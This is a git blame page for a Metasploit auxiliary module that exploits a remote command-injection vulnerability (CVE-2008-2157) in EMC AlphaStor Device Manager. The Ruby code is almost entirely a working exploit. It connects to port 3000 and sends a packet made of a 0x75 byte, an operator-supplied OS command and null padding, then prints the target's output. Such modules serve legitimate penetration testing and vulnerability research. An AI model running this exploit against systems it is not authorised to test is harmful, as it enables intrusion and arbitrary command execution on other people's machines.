Files
metasploit-gs/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

61 lines
1.6 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
'Description' => %q{
EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
because the application fails to properly sanitize user-supplied input.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
[ 'OSVDB', '45715' ],
2009-10-14 11:45:14 +00:00
[ 'CVE', '2008-2157' ],
[ 'BID', '29398' ],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2008-05-27'))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(3000),
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
])
end
2013-08-30 16:28:54 -05:00
def run
connect
2013-08-30 16:28:54 -05:00
data = "\x75" + datastore['CMD']
pad = "\x00" * 512
2013-08-30 16:28:54 -05:00
pkt = data + pad
2013-08-30 16:28:54 -05:00
print_status("Sending command: #{datastore['CMD']}")
sock.put(pkt)
2013-08-30 16:28:54 -05:00
# try to suck it all in.
select(nil,nil,nil,5)
2013-08-30 16:28:54 -05:00
2012-06-04 15:31:10 -05:00
res = sock.get_once || ''
2013-08-30 16:28:54 -05:00
2012-06-04 15:31:10 -05:00
res.each_line do |info|
2011-09-11 02:42:39 +00:00
print_status("#{info.gsub(/[^[:print:]]+/,"")}") # hack.
end
2013-08-30 16:28:54 -05:00
disconnect
2019-07-26 23:53:46 +00:00
rescue ::Rex::ConnectionError => e
print_error 'Connection failed'
rescue ::EOFError => e
print_error 'No reply'
end
2009-10-14 11:45:14 +00:00
end